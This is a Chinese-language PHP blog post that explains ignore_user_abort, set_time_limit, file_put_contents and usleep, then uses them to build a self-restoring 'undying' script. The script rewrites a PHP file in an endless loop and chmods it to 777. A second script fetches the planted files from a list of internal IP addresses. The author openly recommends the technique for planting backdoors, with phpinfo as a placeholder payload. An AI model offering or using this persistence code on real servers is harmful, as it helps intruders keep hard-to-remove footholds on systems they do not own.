【编程】PHP-定时任务

写一个关于不死进程,其实也就是定时的进程,时间短那就是无限的启用着。
之前有些文章也有这一些函数,但是没有备注。

ignore_user_abort() 函数

属于杂项函数。
ignore_user_abort()函数设置与客户机断开是否会终止脚本的执行。

语法

1
ignore_user_abort(setting)

setting为可选项,如果设置为 true,则忽略与用户的断开,如果设置为 false,会导致脚本停止运行。
如果未设置该参数,会返回当前的设置。

注释

PHP 不会检测到用户是否已断开连接,直到尝试向客户机发送信息为止。

set_time_limit() 函数

在PHP4,PHP5和PHP7中
set_time_limit 是设置脚本最大执行时间

语法

1
bool set_time_limit ( int $seconds )

seconds最大的执行时间,单位为秒,默认值为30秒。如果设置为0(零),没有时间方面的限制。

file_put_contents() 函数

属于Filesystem 函数,这个允许访问和操作文件系统。

file_put_contents() 函数把一个字符串写入文件中。
与依次调用 fopen(),fwrite() 以及 fclose() 功能一样。

语法

1
file_put_contents(file,data,mode,context)

file为必需。规定要写入数据的文件。如果文件不存在,则创建一个新文件。
data为可选。规定要写入文件的数据。可以是字符串、数组或数据流。
mode为可选。规定如何打开/写入文件。
context为可选。规定文件句柄的环境。

usleep() 函数

usleep() 函数为杂项函数,作用为延迟代码执行若干微秒。

语法

1
usleep(microseconds)

microseconds是必需填写的。以微秒计的暂停时间。

运用

demo.php内容为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

ignore_user_abort(true);
set_time_limit(0);

$file = 'demo.php';
$shell = "<?php phpinfo();?>";

while (TRUE) {

file_put_contents($file, $shell);
system('chmod 777 demo.php');

usleep(50);
}
?>

这种小技巧在留后门上还是有些用的,种了多个demo.php,就可以批量获取demo.php界面内容。

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$array = array(
"192.168.xxx.xxx",
"192.168.xxx.xxx"
);
for($i=0;$i<=1;$i++){
$url = "http://$array[$i]/demo.php";
$contents = file_get_contents($url);
echo "$array[$i] <br>";
echo "$contents <br><br>";
}
?>

RcoIl Alipay
!坚持技术分享,您的支持将鼓励我继续创作!